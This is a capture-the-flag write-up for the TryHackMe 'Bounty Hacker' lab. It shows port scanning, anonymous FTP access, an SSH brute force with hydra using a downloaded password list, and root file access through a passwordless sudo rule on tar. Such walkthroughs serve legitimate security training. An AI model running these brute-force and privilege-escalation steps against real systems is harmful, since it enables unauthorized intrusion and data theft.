Index

Setup

To begin this challenge, we first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the Access page.

I'll be using `openvpn` to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

Enumeration

Now that we're connected to the TryHackMe server, we can proceed with enumerating the target machine. First, we need to check for open ports on the target:

> Be sure to deploy the machine before proceeding >.>

```
$ sudo nmap -sS -p- -v MACHINE_IP
...
...
Discovered open port 80/tcp on MACHINE_IP
Discovered open port 22/tcp on MACHINE_IP
Discovered open port 21/tcp on MACHINE_IP
...
PORT      STATE  SERVICE         REASON
...
21/tcp    open   ftp             syn-ack ttl 63
22/tcp    open   ssh             syn-ack ttl 63
80/tcp    open   http            syn-ack ttl 63
...
...
```

We now know that the target machine has 3 open ports: `21` , `22` and `80` for services: `ftp` , `ssh` and `http` respectively.

We can now use this to work our way to gaining access into the target machine...

Gaining Access

Let's first proceed with trying to log into the ftp server on the target using the `ftp` command:

```
$ ftp MACHINE_IP
Connected to MACHINE_IP.
220 (vsFTPd 3.0.3)
Name (MACHINE_IP:novusedge): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Using the username: `anonymous` granted us access to the ftp server. Now we can check for any files that we can grab:

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```

There are 2 files, `locks.txt` and `task.txt`. We can download them to our local machine like so:

```
ftp> get locks.txt

ftp> get task.txt
```

Now, since we have the files, let's exit out, and check the contents of the files thus obtained...

task.txt:

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

locks.txt:

```
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
```

```
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

From the contents of the first file, we get the answer to the third task on the challenge.

> Who wrote the task list? > Answer: lin

As the fourth task suggests, the file: `locks.txt` contains possible passwords for the ssh service on the target machine. Assuming that `lin` is the username we use for logging into the ssh server, we can brute-force this by using a tool like `hydra` :

```
$ hydra -l lin -P locks.txt MACHINE_IP ssh
...
[22][ssh] host: MACHINE_IP   login: lin   password: RedDr4gonSynd1cat3
...
```

This gives us the answer to fifth task: > What is the users password? > > RedDr4gonSynd1cat3

Let's try logging into the ssh server on the target with the credentials we've obtained:

```
$ ssh lin@MACHINE_IP
lin@MACHINE_IP's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
```

```
83 packages can be updated.
0 updates are security updates.


Last login: Thu Jun 23 13:06:21 2022 from 10.11.69.69


lin@bountyhacker:~/Desktop$
```

We can get the user flag from lin’s home directory:

```
lin@bountyhacker:~/Desktop$ ls
user.txt


lin@bountyhacker:~/Desktop$ cat user.txt
===R E D A C T E D===
```

This gives us the answer to the 6th task: > user.txt > > ===R E D A C T E D===

Privilage Escalation

Now that we have a foothold, we can now proceed with getting root privilages :3 First, let’s check if we have any commands we can execute with root privilages and no passwords:

```
lin@bountyhacker:~/Desktop$ sudo -ll
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User lin may run the following commands on bountyhacker:


Sudoers entry:
    RunAsUsers: root
    Commands:
    /bin/tar
```

Interesting…We can use the `tar` command as root without passwords. Assuming that the `root.txt` is in the `/root/` directory, we can use the following to create a tar archive of all files in the `/root/` directory in `/home/lin/Desktop` :

```
lin@bountyhacker:~/Desktop$ sudo tar -cf files.tar /root
tar: Removing leading `/' from member names


lin@bountyhacker:~/Desktop$ ls
files.tar  user.txt
```

```
# Uncompressing the tar archive to get the files:
lin@bountyhacker:~/Desktop$ tar -xf files.tar
lin@bountyhacker:~/Desktop$ ls -l
-rw-r--r-- 1 root root 20480 Jun 23 13:21 files.tar
drwx------ 5 lin  lin   4096 Jun  7  2020 root
-rw-rw-r-- 1 lin  lin     21 Jun  7  2020 user.txt

lin@bountyhacker:~/Desktop$ ls -l root/
total 4
-rw-r--r-- 1 lin lin 19 Jun  7  2020 root.txt
```

We can now just `cat` the contents of our `root.txt` file thus obtained:

```
lin@bountyhacker:~/Desktop$ cat root/root.txt
===R E D A C T E D===
```

Done! This gives the answer to the final task.

> root.txt > ===R E D A C T E D===

Conclusion

I hope this writeup was useful. Personally, I found this room to be quite a fun little experience. If you liked this, please consider dropping a star and/or following me on github: https://github.com/NovusEdge

---

- Room : Bounty Hacker by Sevuhl
- Author: Aliasgar Khimani